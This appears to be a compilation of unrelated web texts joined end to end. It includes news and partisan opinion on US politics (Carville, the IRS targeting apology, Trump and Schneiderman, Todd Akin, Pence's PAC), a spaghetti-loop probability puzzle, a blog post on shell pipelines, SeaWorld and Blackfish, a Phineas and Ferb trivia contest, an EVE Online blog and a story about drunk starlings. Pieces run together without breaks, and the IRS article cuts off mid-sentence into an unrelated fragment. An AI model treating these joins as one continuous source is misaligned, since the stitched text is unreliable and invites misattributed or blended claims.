While Slotin was able to prevent matters from becoming worse, it was not enough to prevent a hard radiation dose from entering his system. Even as he was rushed to a hospital, Slotin died nine days later, initiating a new protocol that ended all hands-on critical assembly work and only allowing operators the ability to conduct experiments through the use of remotely controlled machines.
12. Henry Smolinski - Since 400 BC it has been recorded that humankind has sought to fly like birds, whether it be constructed wings with feathers attached to one’s arms, crafting hybrid clothing to act as a kind of parachute, using hot air balloons or even gliders – for Henry Smolinski, an ex-Northrop Corporation aeronautical engineer, his desire was to create a flying car.
Hanna-Barbera may have teased us with a futuristic world where food came in pill form, houses were sky scrapers and that cars would fly. However, by the 1970s, such pursuit was still a pipe dream for some. Not Smolinski though. Using the rear portion of a Cessna Skymaster and combining it with a Ford Pinto, Smolinski had big dreams for his commercially available flying car. With projected production being planned to begin in 1974 and an estimated cost of between $18,300-29,000, the AVE Mizar (the name of the vehicle) could drive or fly passengers from point A to C at their own convenience.
However, during a test flight on September 11, 1973, the right wing strut detached from the Pinto forcing the Mizar to crash, killing both Smolinski and his associate, Harold Blake to be killed in a fiery crash.
Read more:
Henry Smolinski Killed by His InventionDemocratic strategist James Carville, a longtime confidant of the Clinton family, is supporting the super PAC devoted to luring Hillary Clinton into the 2016 presidential race.
A person familiar with Ready for Hillary PAC's outreach efforts tells Post Politics that Carville has joined the effort and will send an e-mail Thursday asking supporters to do the same. He is thus far the most high-profile and well-known Clinton supporter to lend a hand.
"He is the first of several heavy hitters who will be rolled out by Ready for Hillary PAC," the person said.
In an interview after this item first posted, Carville emphasized he has not joined the super PAC in any official capacity but is happy to lend a hand to promote Clinton.
"I’ve been pretty clear that I’d like to see her run," he said. "But I’m not a member of the organization or anything like that."
In the e-mail, Carville says that Clinton needs a legion of people behind her if she is to run again in 2016.
"I’m not going to waste my time writing you about how great Hillary is or how formidable she’d be – you know it all already," he says in the e-mail, which was shared with Post Politics. "But it isn't worth squat to have the fastest car at the racetrack if there ain't any gas in the tank -- and that's why the work that Ready for Hillary PAC is doing is absolutely critical. We need to convert the hunger that's out there for Hillary's candidacy into a real grassroots organization."
Carville, who managed Bill Clinton's 1992 campaign and has remained close to the family, has made little secret of his desire for Hillary Clinton to give it another shot after she lost the 2008 nomination to President Obama.
Carville said in December: "We just want to win. We think she’s the best person…. And that’s across the board.”
This post and its headline were updated at 8:51 a.m. to reflect Carville's comments.The Los Angeles news outlet ABC 7 shined a light on the rising trend of athletes going vegan, helping to dispel the myth that one needs to eat meat to perform well on the field or in the ring. ABC’s Lori Corbin interviewed mixed martial arts fighter Mac Danzig along with Montell Owens of the NFL’s Jacksonville Jaguars, who switched to a plant-based diet after he watched members of his family suffer from preventable health conditions. “Culturally there needs to be a change,” says Owens. “And why not start with myself?” The segment ended with some tips on how to make the switch to veganism—Corbin recommended starting with one plant-based meal a day and substituting common dairy products with healthier alternatives such as coconut milk and hummus.
Want more of today’s best plant-based news, recipes, and lifestyle?
Get our award-winning magazine! SubscribeA dish contains 100 strands of cooked spaghetti. See the picture below:
Two ends of spaghetti are chosen at random and tied together. For example:
If this process continues until there are no more loose ends, what is the probability that all strands will form one big loop? In other words, what are the chances that this big mess is actually just a circle?
Seriously, take a guess. When I first read a version of this problem,1 I thought the answer must surely be less than 1%. Watch this:
Now you may think that I took a particularly well behaved group of noodles for the above animation. However, mathematically speaking, the probability of getting a single big loop is 9%, much higher that you probably guessed.
I want to walk you through some of the interesting twists and turns that it took for me to get the answer. First, I had to find a formula for calculating the above probability. My first method was to try less noodles. With 2 noodles, it seemed like I could figure out all the possibilities.
For the first noodle, I started with the left end. I could tie it to itself:
Then I would have to tie the other noodle to itself and I would not have a big loop:
Another option would be to tie the left end to the end below it:
Then I would tie the remaining 2 ends together to make a loop!
My last option would be to tie the top left end to the right bottom end:
Then I would have to tie the remaining 2 ends together:
Do some untwisting, and make a loop!
To recap, with 2 noodles, we have a 2/3 probability of getting a one big loop. How about 3 noodles?
Instead of going through all the probabilities, we can use a trick. If I tie the top left end of the noodle to the right end of the same noodle, I create an isolated loop like before. That is not good. So instead, consider tying the top left end to any other noodle end:
By doing this, we create one long noodle, which we can move around to form:
Voila! We are back to the 2-noodle case. Since there are 4 places I could tie the top left end (green), and 1 place I cannot (red, since it would make an isolated loop) I have a 4/5 chance.
We multiply this by the 2-noodle case to get
You can continue this logic and find the probability for 5 noodles is:
Now I noticed a pattern. Combine the top and bottom numbers:
We are actually just multiplying even numbers and dividing them by odd numbers! I was so excited! I went into excel, punched in the formula, and was thoroughly disappointed.
Apparently, multiplying 100 numbers got excessively big for my computer to handle. I needed a new approach. The noodle probability formula can be written as follows:
Using double factorial notation, we can rewrite it as:
Using basic double factorial identities2, we can convert the double factorials into regular factorials:
And use some algebra to simplify:
Enter, the Stirling Approximation!3
We can cancel a bunch of terms to get:
Finally, a formula my computer can handle! This formula will work for any number of noodles. Maybe you were wondering what number of noodles you would need for the probability to be below 1%. The formula states that we would need 7854 noodles! Personally, if you would have told me that before analyzing the problem, I would have thought you were out to lunch 😛
1The Mathematics Teacher, Volume 109, Number 3, October 2015, page 201.
2https://en.wikipedia.org/wiki/Double_factorial
3https://en.wikipedia.org/wiki/Stirling’s_approximation
AdvertisementsThe Internal Revenue Service on Friday apologized for targeting groups with “tea party” or “patriot” in their names, confirming long-standing accusations by some conservatives that their applications for tax-exempt status were being improperly delayed and scrutinized.
Lois G. Lerner, the IRS official who oversees tax-exempt groups, said the “absolutely inappropriate” actions by “front-line people” were not driven by partisan motives.
Rather, Lerner said, they were a misguided effort to come up with an efficient means of dealing with a flood of applications from organizations seeking tax-exempt status between 2010 and 2012.
During that period, about 75 groups were selected for extra inquiry — including burdensome questionnaires and, in some cases, improper requests for the names of their donors — simply because of the words in their names, she said in a conference call with reporters.
They constituted about one-quarter of the 300 groups who were flagged for additional analysis by employees of the IRS tax-exempt unit’s main office in Cincinnati.
It was not clear whether the IRS had anticipated the firestorm that it would ignite with its disclosure. Indeed, it appeared to have happened by chance when Lerner, appearing Friday at a conference held by the American Bar Association, responded to a question about the allegations by conservative groups.
The IRS’s subsequent conference call with reporters was clumsily handled. At one point, Lerner attempted to do arithmetic on the phone and blurted out: “I’m not good at math.” That admission was understandable, given that her training is as a lawyer, but it produced a quote that is likely to haunt the agency that handles the nation’s tax returns.
Nor did IRS officials appear to have prepared much for the questions they would get.
“The IRS did not acknowledge the use of names as part of the process earlier because the details were not initially known to senior leadership, and [the Treasury inspector general for tax administration] has been reviewing the situation,” IRS spokeswoman Michelle L. Eldridge said. “Their work is now far enough along that it was appropriate to address the issue when it came up during today’s tax conference.”
Of the 300 groups affected, the IRS said, 130 have had their tax-exempt status approved and 25 have withdrawn their applications.
The sensitivity arises in no small part because of the IRS’s history as an agency that presidents have used to intimidate, harass and punish their political enemies. Most infamous was Richard M. Nixon, but the practice went back at least as far as Franklin D. Roosevelt. Post-Watergate reforms made the IRS more independent and were designed to insulate it from politics.
“I call on the White House to conduct a transparent, government-wide review aimed at assuring the American people that these thuggish practices are not underway at the IRS or elsewhere in the administration against anyone, regardless of their political views,” Senate Minority Leader Mitch McConnell (R-Ky.) said. “An apology won’t put this issue to rest.”
One of the nation’s largest tea party groups, the Tea Party Patriots, said it rejected the IRS’s explanation and demanded the resignations of all officials involved. The group also called on President Obama to apologize for ignoring its concerns.
“The IRS has demonstrated the most disturbing, illegal and outrageous abuse of government power,” said Jenny Beth Martin, national coordinator of Tea Party Patriots. “This deliberate targeting and harassment of tea party groups reaches a new low in illegal government activity and overreach.”
Lerner said she has had no contact with Obama administration officials about the issue.
When questioned by reporters, she said the problem came to the IRS’s attention only after officials read reports in the media of complaints by tea party groups that their applications for tax-exempt status were being unfairly scrutinized and delayed.
Although the IRS is part of the Treasury Department, it “is an independent enforcement agency,” White House press secretary Jay Carney said. “What we know about this is of concern and we certainly find the actions taken, as reported, to be inappropriate. And we would fully expect the investigation to be thorough and for corrections to be made in a case like this.”
Carney did not describe what contact, if any, administration officials have had with the IRS regarding the issue.
The IRS admission comes amid a debate about when political groups on both sides deserve tax-exempt status — a complex question that turns on whether the group is working mainly to support a general philosophy or a specific party or candidate.
That can be particularly difficult to determine in the case of groups that operate under section 501(c)(4) of the Internal Revenue Code. The law grants them an exemption from income taxes on the contributions they receive if they are “social welfare” groups.
It also allows them to engage in political activity and advocacy as long as it is not their primary mission. And while donors to those organizations are not allowed a tax deduction for what they give, they can remain anonymous.
The number of organizations applying for tax-exempt status under that provision more than doubled after 2010, Lerner said. It was a scramble that began after the Supreme Court lifted the ban on corporate and union spending in political campaigns, a move that was seen as a green light for outside groups to become more involved, as well.
Both Democratic- and Republican-allied interests have formed such organizations, but the conservative groups have raised vastly more money.
The IRS disclosure comes after more than a year of tense debate about the tax status of conservative political groups. Tea party groups and other conservative organizations have said that they have been the subject of inappropriate screening by the IRS, prompting formal complaints by Republican lawmakers. The IRS inspector general has been reviewing the claims.
Some Democrats and campaign finance groups, meanwhile, have argued that tax-exempt groups are stretching the boundaries of the law and should be required to disclose more about their operations.
Sen. Orrin G. Hatch (Utah), the top Republican on the Senate Finance Committee, who has raised concerns about IRS oversight of conservative groups, said he was not satisfied by the apology.
“This, frankly, isn’t enough,” he said. “We need to have ironclad guarantees from the IRS that it will adopt significant protocols to ensure this kind of |
money laundering.
As Trump has previously made clear via his social media service of choice, he does not much care for Schneiderman, an opinion that probably has to do with the fact that Schneiderman, in the past, has—and this is a legal term of art, so bear with me—repeatedly kicked his sorry ass up and down the courtroom aisles. Here is Trump in February 2016, vowing never to settle the case that Schneiderman brought against the then-candidate's comically fraudulent Trump University:
And here is what Trump, who will be the first to tell you that he never settles frivolous lawsuits, had to say in November after he paid $25 million to—you guessed it—settle the case.
The reason this matters—other than the sudden involvement in Russiagate of a man who Trump once accused of wearing eyeliner, for some reason—is because as that investigation expands, the prospect of the president using his power to pardon his associates of alleged federal crimes suddenly looms large. Last week's pardon of former Maricopa County sheriff and current disgusting old bigot Joe Arpaio was an outrageous endorsement of unapologetic racism and xenophobia, but it also functioned as a giant wink to any nervous Trump associates who might be under pressure from the suddenly subpoena-happy Mueller: The president, if it came down to it, would have their backs.
Schneiderman's appearance changes that calculus. The Constitution limits the pardon power only to "offenses against the United States"—that is, to federal crimes. Thus, if New York's attorney general brings state law charges against Manafort or Flynn or whichever crony du jour is looking guiltiest right now, the only thing Trump can do about it is tweet. In order to exercise jurisdiction, Schneiderman would first have to show that one or more elements of a crime occurred in that state. But this isn't a particularly difficult hurdle to clear under New York law, and besides, it seems pretty likely that at least some of the alleged criminal activity engaged in by noted New York resident Donald J. Trump will have occurred in the state of New York.
Although it's great fun to speculate wildly about where Robert Mueller's team is looking, or how much he knows, or on what date he might dramatically stroll up Pennsylvania Avenue and nail his findings to the door of the White House like Martin Luther delivering the 95 Theses, the reality is that it may be years before his investigation wraps up. When that time comes, however, and whatever scintillating conclusions it yields, the involvement of New York's chief law enforcement officer makes it just a bit a little less likely that President Trump and company will find a way to wriggle out of it.
Watch Now:Todd Akin: Spokesman for the freak show that is the Republican Party
Todd Akin: Spokesman for the freak show that is the Republican Party
Yes, Rep. Todd Akin is the latest Republican to explain how rape just ain't no thang, but he's not the first. In fact, he joins a long and proud tradition of the Republican Party explaining why women who are raped are probably lying, are making much ado about nothing, and should learn to enjoy and appreciate the plus side of being raped.
Rick Santorum:
As horrible as the way that that son or daughter and son was created, it still is her child. [...] I believe and I think the right approach is to accept this horribly created -- in the sense of rape -- but nevertheless a gift in a very broken way, the gift of human life, and accept what God has given to you. As you know, we have to, in lots of different aspects of our life. We have horrible things happen. I can't think of anything more horrible. But, nevertheless, we have to make the best out of a bad situation.
If it's an honest rape, that individual should go immediately to the emergency room.
Kansas lawmakers are currently considering a law that would bar insurance providers from covering elective abortions — unless a woman pays extra for a special plan...The bill "wouldn’t apply to abortions performed to save the life of a woman, or to pregnancies resulting from rape or incest." However, in the latter case, women would first be forced to file a police report.
"You’d have to have a report that someone stole your car," said Rep. Steve Brunk, a Bel Aire Republican. "This is kind of the same thing."
Clayton Williams stirred controversy during his 1990 campaign for governor of Texas with a botched attempt at humor in which he compared rape to weather. Within earshot of a reporter, Williams said: "As long as it's inevitable, you might as well lie back and enjoy it."
A real-life description to me would be a rape victim, brutally raped, savaged. The girl was a virgin. She was religious. She planned on saving her virginity until she was married. She was brutalized and raped, sodomized as bad as you can possibly make it, and is impregnated. I mean, that girl could be so messed up, physically and psychologically, that carrying that child could very well threaten her life.
"First of all, from what I understand from doctors [pregnancy from rape] is really rare,” Akin told KTVI-TV in an interview posted Sunday. "If it’s a legitimate rape, the female body has ways to try to shut that whole thing down."
In reviewing my off-the-cuff remarks, it's clear that I misspoke in this interview and it does not reflect the deep empathy I hold for the thousands of women who are raped and abused every year. Those who perpetrate these crimes are the lowest of the low in our society and their victims will have no stronger advocate in the Senate to help ensure they have the justice they deserve. "I recognize that abortion, and particularly in the case of rape, is a very emotionally charged issue. But I believe deeply in the protection of all life and I do not believe that harming another innocent victim is the right course of action.
Clayton Williams, and almost-fundraiser for John McCain in 2008, until this past comment got him in trouble: South Dakota state Sen. Bill Napoli explaining the one and only time abortion might be acceptable for a woman who has been raped:While Todd Akin has long been a member of this club, he definitely gets a shiny new badge for his latest contribution And his "clarification" doesn't help:Yeah, it was hard to pick up on his "deep empathy" for women who are raped every year in the midst of his "off-the-cuff" claim (I'll just paraphrase here) that bitches be lying, so most of those rapes aren't "legitimate" after all, and besides, they have magic ladyparts to protect them in such cases.
And wanting to force women who've been raped to carry their rapists' baby to term in order to protect the "innocent victim" in all this? Yeah, not exactly screaming empathy. But then, a complete lack of empathy for rape victims is just par for the course for the "we have to close all those loopholes fake rape victims are always exploiting" Republican Party.Mike Pence is heading to Indiana for a high-dollar fundraiser for his PAC. The funds can be used to pay his new lawyer in the Russia probe.
Last month, Mike Pence set up a leadership PAC.
The fund can be used to bolster congressional candidates, but as Bloomberg noted, it’s “unusual” for a vice president to create his own PAC. Others pointed out that forming the PAC could be a sign of Pence’s intent to run for higher office.
But the PAC can serve another purpose.
On Thursday, Pence hired a high-priced lawyer to deal with the growing Russia scandal, which continues to close in on the White House and expose Pence’s involvement. Pence is claiming that it’s “very routine.” But of course, nothing about this administration is routine.
According to CNN, a Pence adviser says his legal fees will be paid through “non-taxpayer funds,” but did not further elaborate.
Citizens for Responsible Ethics in Washington immediately noted the connection between Pence’s PAC and his hiring of outside counsel:
#TBT Mike Pence setting up a leadership PAC last month. Now lobbyists can give him $5k a year for his Russia lawyers https://t.co/2OaKLFusiN — Citizens for Ethics (@CREWcrew) June 15, 2017
According to the Washington Post, “The process of hiring a lawyer took several weeks.” Pence launched his PAC on May 17.
Now, as pressure on Pence continues to build — notably, members of Trump’s transition team, which was led by Pence, were ordered to preserve documents related to the Russia investigation just yesterday — he’s headed to his home state of Indiana to raise money for the PAC.
The invitation to the fundraiser states that top tickets are available for $5,000.
If Pence uses his PAC to pay his legal fees, Democratic campaign finance lawyer Bob Bauer says that’s a problem:
“It is a problem if a committee is formed and money raised for the expressed purpose of supporting candidates and normal political activities,” Bauer said, “but the intention is in fact to establish a personal legal expense fund.”
Pence has become increasingly unpopular. This won’t help.blog | oilshell.org
Pipelines Support Vectorized, Point-Free, and Imperative Style
This is the second post in a series about unique features of the shell language. These features are missing or awkward in languages like Python, Ruby, Perl, and JavaScript.
As always, code is available in the blog-code repository.
Vectorized Code
Vectorized code operates on collections without explicitly mentioning each item. It's found in both high level languages like R, Matlab, and Julia, as well as in assembly language.
In the R language you can multiply two vectors with a single expression:
$ R... > a = c ( 1, 2, 3 ) # vector of 3 integers > b = c ( 4, 5, 6 ) # another one > > a * b # just use * to multiply them [ 1 ] 4 10 18
In Python, this would be an error:
>>> [ 1, 2, 3 ] * [ 4, 5, 6 ] Traceback ( most recent call last ): File "<stdin>", line 1, in < module > TypeError : can 't multiply sequence by non-int of type'list '
Instead, you need an explicit loop or list comprehension:
>>> [ i * j for ( i, j ) in zip ( a, b )] [ 4, 10, 18 ]
R borrows from the Unix tradition and works on vectors of strings as well as vectors of integers. The grep() function returns the indices of items that match a regular expression, counting from index 1 :
> grep ( 'e$', c ( 'bart', 'homer','maggie','marge' )) [ 1 ] 3 4
Because many Unix tools operate on streams lines, shell pipelines are also an example of vectorized code.
For example, this short pipeline lists the first five symlinks in /bin :
$ ls -l /bin | grep ^l | head -n 5 lrwxrwxrwx 1 root root 6 Jun 10 2017 bzcmp -> bzdiff lrwxrwxrwx 1 root root 6 Jun 10 2017 bzegrep -> bzgrep lrwxrwxrwx 1 root root 6 Jun 10 2017 bzfgrep -> bzgrep lrwxrwxrwx 1 root root 6 Jun 10 2017 bzless -> bzmore lrwxrwxrwx 1 root root 8 Jun 10 2017 dnsdomainname -> hostname
It's nicer than an explicit loop:
$ ls -l /bin | ( > count = 0 > while read line ; do > if test ${ line :: 1 } = 'l' ; then > echo $line > count = $(( count + 1 )) > if test $count -ge 5 ; then > break > fi > fi > done > ) lrwxrwxrwx 1 root root 6 Jun 10 2017 bzcmp -> bzdiff lrwxrwxrwx 1 root root 6 Jun 10 2017 bzegrep -> bzgrep lrwxrwxrwx 1 root root 6 Jun 10 2017 bzfgrep -> bzgrep lrwxrwxrwx 1 root root 6 Jun 10 2017 bzless -> bzmore lrwxrwxrwx 1 root root 8 Jun 10 2017 dnsdomainname -> hostname
Point-Free Style
If vectorized style is when you mention an entire collection rather than the items within it, then point-free style is when you mention no data at all.
This notation comes from abstract algebra, where you reason about functions without regard to the things they operate on. It's supported by languages like Lisp and Haskell.
About 10 years ago, the following shell idiom blew me away. It doesn't look like code in any other language. I don't think I saw it in any documentation, books, or existing code. It just seemed like it "should" work, and it does.
Suppose you have these pipelines to calculate histograms of HTTP status code and URL:
$ awk '{print $9}' access.log | sort | uniq -c | sort -n -r
9337 200 417 404 88 304 60 301 26 206 1 418
$ egrep -o 'GET /blog/2017/../..\.html' access.log \ | sort | uniq -c | sort -n -r \ | head -n 5
742 GET /blog/2017/01/13.html 108 GET /blog/2016/12/30.html 34 GET /blog/2016/12/11.html 27 GET /blog/2016/10/10.html 17 GET /blog/2016/11/14.html
Wouldn't it be nice to factor out the sort | uniq -c | sort -n -r pattern? Here's one way to do it:
hist () { " $@ " | sort | uniq -c | sort -n -r } hist awk '{print $9}' access.log hist egrep -o 'GET /blog/2017/../..\.html' access.log | head -n 10
But it's awkward: it requires that the input to the histogram is exactly one command. You might want two commands, e.g. grep | awk, or no commands, using a here doc for literal input instead.
This is a better way:
hist () { sort | uniq -c | sort -n -r } awk '{print $9}' access.log | hist egrep -o 'GET /blog/2017/../..\.html' access.log | hist | head -n 10
The hist function doesn't look like anything in Python or JavaScript, but it transforms stdin to stdout exactly as expected. We say it's written in point-free style because it doesn't mention any concrete data — neither individual items nor entire collections.
How does the shell do this? The short answer is that when a function occurs in the middle of a pipeline, it forks a subshell. Like all processes, the subshell has its own stdin and stdout, and can be connected to programs like awk, head, or another subshell. I will go into detail on this mechanism in a future post.
Though I haven't heard this term before, Wikipedia says that tacit programming is a synonym for point-free style, and the last example on the page is identical to ours.
Note that pipelines are vectorized code, and they compose in point-free style, but the two concepts are different. For example, the Forth function to square an integer in this post is point-free but not vectorized:
: square dup * ;
Imperative Code in Pipelines
Another nice feature of pipelines is that you can put imperative code right in the middle of them. We can turn our histogram into an HTML table like this:
egrep -o 'GET /blog/2017/../..\.html' access.log | hist | head -n 10 | { echo "<tr> <td>Count</td> <td>Name</td> </tr>" ; while read count name ; do echo "<tr> <td> $count </td> <td> $name </td> </tr>" done } | cat # no-op command for illustration
Notes:
This isn't a safe way to generate HTML because it's not escaped. Security in emitting and reading strings will be a theme in the oil language.
A trailing | makes line continuation with \ unnecessary.
makes line continuation with unnecessary. The { } block could be factored into its own function, perhaps using point-free style.
block could be factored into its own function, perhaps using point-free style. The same thing can be done with awk:
#... head -n 10 | awk'BEGIN { print "<tr> <td>Count</td> <td>Name</td> </tr>"} { print "<tr> <td>" $1 "</td> <td>" $2 "</td> </tr>"} '
To me, this is evidence that shell and awk should be combined.
Conclusion
We saw some interesting properties of pipelines:
They are a style of vectorized code (over lines of text).
code (over lines of text). They can be composed in point-free style with shell functions.
with shell functions. Their dataflow style can be mixed with imperative code.
As a shortcut, I think of vectorized code as native to R, Matlab, and Julia. Point-free style is native to Lisp and Haskell.
Shell has a bit of both styles. I take this as evidence that it's a well-designed language underneath the hastily evolved syntax.
I will have at least one more post about interesting shell features coming up. Comments welcome!Killer whale "Tilikum" appears during its performance in its show "Believe" at Sea World on March 30, 2011 in Orlando, Florida.
For months, people have wondered if Blackfish — the amazing, award-winning, depressing-as-hell documentary about chronic mistreatment of orca whales at SeaWorld’s amusement parks — would have an effect on SeaWorld’s bottom line. At first, SeaWorld’s PR machine adopted the say-nothing strategy, figuring the controversy would blow over. Then it began an aggressive campaign to discredit the film, with slogans like “The Truth About Blackfish,” while insisting to investors — the people who really matter, that is — that all was fine. “We can see no noticeable impact on our business,” CEO Jim Atchison said in March. Incredibly, Atchison even hinted that Blackfish had been good for SeaWorld: “The movie in some ways has actually made perhaps more interest in marine mammal parks and actually even about us.”
Today, SeaWorld changed course, and admitted, finally, that the backlash is taking a toll after all.
SeaWorld’s stock is plummeting more than 20 percent today, after quarterly earnings that showed shrinking revenue and lowered guidance for next quarter. In today’s press release, SeaWorld admitted for the first time that Blackfish may be hurting attendance, blaming people skipping their parks owing to “recent media attention surrounding proposed legislation in the state of California.”
That legislation, the “Orca Welfare Safety Act,” has been tabled while further studies are conducted. So SeaWorld isn’t in immediate danger of losing its money-minting orca shows just yet. But the backlash shows no signs of subsiding. And if SeaWorld refuses to reform its practices and end orca shows, it could find itself in the shoes once occupied by industries like Big Tobacco — which remained enormously profitable even as its public image was being attacked, then woke up years later to find that, actually, all those anti-smoking ad campaigns had made a mark.
SeaWorld has shown it can play defense in the face of a PR crisis. Now the question is whether it’s taking seriously the long-term threat of a generation of kids thinking it’s more concerned about its profits than the welfare of its whales.NERVES OF TEAL 3RD ANNUAL F-GAMES! (2017)
On May 7, 2015, it was announced that Phineas and Ferb was on its last season. Naturally, its fans were devastated. In order to come together and celebrate the show that was so much a part of our lives, the F-Games were created. Phineas and Ferb is forever.
HOW TO JOIN:
-Send an ask or a message to @PERRYBEARWAKS and let me know you would like to play in the F-Games! Please send your ask or your message BY JUNE 11! The F-Games will begin shortly after!
If you participated in Trick or Ferb, the F-Games are a little different because you will be competing in teams with other Tumblr users rather than individually! Since you will be sorted into a team, you will need to sign up before the teams are assigned on June 12! You MUST sign up by the end of the day on JUNE 11!
HOW TO PLAY:
- You must be signed up by JUNE 11 to play on a team!
-From Tuesday, June 13 to Monday, June 26, four questions of PnF trivia will be posted daily at 12 AM, Eastern Time Zone (UTC-05:00). The four types of questions are Songs, Characters, Episodes, and Lines. You may answer one question of your choosing per day to earn points for your team. The amount of points you earn for a correct answer is determined by how hard the question is (5 points for easy, 10 points for medium, 15 points for hard, 20 points for very hard).
-Answer the question by sending PERRYBEARWAKS an ask or a message with the answer! If you are the fastest to answer a certain question, you will earn an additional point for your team!
-At the end of the competition, all of your team members’ points will be counted and added together! May the best team win!
TEAMS:
-Currently, there are four teams: Team Phineas, Team Ferb, Team Perry, and Team Doofenshmirtz. Depending on how many people sign up, there may be more teams or less teams to ensure everyone has enough people so no one has an unfair advantage! You will be put into teams randomly!
-Since the sorting is random, returning players may not be in the same F-Games team they were in last year.
-IF YOU DO NOT SIGN UP BY JUNE 11, you will NOT be sorted into a team, but you can still play! You can answer questions for fun, and I’ll keep track of your personal points! You won’t be restricted by the rules of the game- you may go back and forth between questions of the day, answer all the daily questions at once, change your icon to a picture of an emu and claim you’re a member of Team Emu- just remember my inbox gets super clogged during this time so keeping everything on one ask or message per day (if you choose to answer all four categories in one day) is appreciated!
PRIZES:
-A shiny picture of a trophy relating to your team, fun, and hopefully the nice, happy feeling of doing something fun with your fellow PnF fans! (Winning Team gets an extra surprise ^^)
-Teams also get awards at the end of the game based on achievements and playing style. The awards will stay with the team even as the members change over the years. Fame is fleeting, but the internet is forever.
EXTRA STUFF YOU NEED TO KNOW:
-Be nice to other teams! We’re all here to celebrate the show that means so much to all of us, so show some love!
-I don’t bite! Please don’t be afraid to ask me anything if you’re confused or if you’re stressed out about something on here and don’t know what to do! I won’t get mad if you need to ask about how to do anything, I promise ^^ I’ll help you best I can!
-EVERYONE IS WELCOME! You don’t have to be following me to play! It may make it easier, of course, since you’ll be able to see the posts the instant they pop up, but if you have a system that works, go for it! I just want everyone to have a good time ^^I had just finished reading Poe’s post about fixing the Amarr/Minmatar geography and decided to make my own post instead of just responding on his blog.
The thing is, pre Inferno, not too many people ventured up beyond Hofjaldgund because there was no reason to other than missions. I rarely ever did a mission, so I’d never really go there.
Those who were doing missions most likely were doing them in stealth bombers, so even if the Hof gate was camped, most likely you’d make it through.
It was, in my opinion, a waste land. To do missions, you’d have to travel 16 or 17 jumps one way, so I never bothered.
Post Inferno, everything changed. Plexing started to mean something, so now all of those wasteland systems meant you got LP for plexing them.
Except, of course, we had to deal with station lock outs, so if you could manage to get through the Hof gate, you really got nowhere to park your ships. Or repair them.
Oh well.
But going back to Pre Inferno, the map was a very low priority, no one really realized just how bad it was because:
1. We rarely went there to begin with, no reason to.
2. No one really was basing up there, so you weren’t gonna get a fight anyhow.
3. Plexing was pointless, nobody cared about those systems.
We weren’t complaining at the time because there wasn’t much reason to complain about it. We were more focused on bitching about everything ELSE that was wrong with FW.
So I’m not really annoyed at Hans for not bringing it to our attention that the devs asked about the map back then, and I don’t think anyone else should be either.
What matters now is that the devs are aware of how horrible the map is in lieu of these new FW changes and that they should fix it. The sooner the better, and I do feel confident that they will get it fixed. (eventually)
***
Another thing that’s on my mind is a post Poe made on the EVE forums asking for Hans Jagerblitzen to join FW the Amarr side so that he can experience first hand what it is like for us.
I suggested that to Hans from the very begining, that he should experience all of the Factions, not just Minmatar, because that is the only way you’re really going to get a sense of what is going on.
I understand why he didn’t, he is invested in his corp and alliance and he is as proud of Minmatar as I am of Amarr.
But the thing is, at the time of his election, most of us in Faction War rallied to vote for him. He was to be our representative, to represent us all, not just the Minmatar and it feels like to some he has forgotten the people who helped him get elected.
Point in case. I open up Twitter while at work and see a few of Han’s tweets:
“…having mastered the art of distilling Amarrian tears into rocket fuel”
“Though to be fair, the Minmatar have kicked so much ass in FW that makes sense lore-wise for us to use the isk for upgrades 🙂 ”
I guess for me, just my own personal opinion, I don’t want to see any sort of trolling from the guy I elected to represent me. Maybe that’s not fair but that’s how I feel. I don’t want to see any Amarr bashing (because we get enough of that from Susan lol) from him because it just encourages that feeling that others have about Hans, that he is only in it for himself and the Minmatar- which I know is not true.
I know that Hans does truly care for all of FW.
What is the point of having Minmatar without Amarr? What kind of war would it be if there were no one to fight?
Which brings me to my last point.
Hans came to the Fweddit comms last week for a four-hour long discussion, I was there for roughly half of it. One important thing I gleaned from it was that CCP Soundwave is not the best person for FW.
To my understanding, he doesn’t ‘get’ FW. He doesn’t understand that the Amarr and Minmatar have a symbiotic relationship, that they need one another to actually have decent game play.
He doesn’t care if it’s too hard for one side, not one bit. He wants it to be ‘uncomfortable’.
I get that, kinda. I don’t think that things should be completely balanced, but the last few months…ugh.
It wasn’t just ‘uncomfortable’, it was mostly intolerable. Before Inferno hit, many Amarr corporations went to the forums to explain why it was going to be so horrible for us, they pretty much said that they couldn’t deal with it, and moved on to other things in the game.
Hans would tell me at the time ‘CCP doesn’t know how things are going to play out, no one does’, to which I would say, ‘Yes, we do know how its going to be, read the forums, the Amarr are quitting by the droves’.
And they did. Militia chat would hover around 50 players per night. Minmatar would hover between 275-300.
For MONTHS that went on. How was the Amarr supposed to come back from that? Seriously. How were we supposed to recruit people into ourside of FW when the other sides were making bucketloads of ISK? When we tried to broach the subject with anyone it was met with ‘try harder, quit complaining.’
I would bring the numbers up to various Minmatar, “Oh but most of them are farmers.” To which I’d say ‘So? Those farmers are the ones deciding the fate of the war. They decide Occupancy, they push Minmatar into T4 and T5 giving the Minmatar endless amounts of LP and ISK. Bucketloads.
It was the height of absurdity and it was predictable. It was all very avoidable, I think, but that is besides the point now. What’s done is done. The Minmatar have enough ISK to fund their PVP for years, no joke.
I guess my thing is this. CCP is responsible for our game, but lately it has a feeling that CCP doesn’t really want you to play it. They want it to be so hard that people go elsewhere….so again, how is that good for FW? How is that good for EVE? If you’re making the game so impossibly one-sided, and making it so miserable for one side….why should we continue to pay money to play this? I don’t get it.
They continue to implement things that make it difficult for one side without a thought for the other. For instance, you get LP for killing stuff in FW. Great, ya? But it is scaled, so if you’re on the winning side you get so much more for LP for the same exact kill.
So lets say someone is looking to join FW, what side are they going to choose? The one that makes them the most ISK, or the one where they have to go elsewhere to fund their PVP. Hmm. Tough choice, right?
Right now we pick up recruits that thrive off of being the underdogs, but really, how long do we have to play this role? lol. When are things going to level out a bit? What is CCP’s goal for FW, that everyone be under one militia with no one else to fight? Seriously, I’d like to understand where they are going with FW, what they want it to be.
So here’s my suggestion. CCP Soundwave, come onto our comms for a chat like Hans Jagerblitzen did. Come hear our concerns, come explain why someone should come join Amarr. It would go a long way with us, to know that you really do hear us and that you really do care, because from what we hear from Hans, CCP does not…
~ Shalee
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Like this: Like Loading... RelatedLook out! (Photo: Christoffer A Rasmussen/Public Domain)
When birds fall out of the sky, people think the worst—apocalypse, environmental catastrophe, mass bird protest. Sometimes, though, the birds are just drunk.
That’s what happened yesterday in Austria, where a whole flock of starlings guzzled down fermented berries and then decided to mess with some drivers. Soon, they were divebombing the A2 motorway, crashing into cars and trucks and causing miles-long traffic jams, The Local reports.
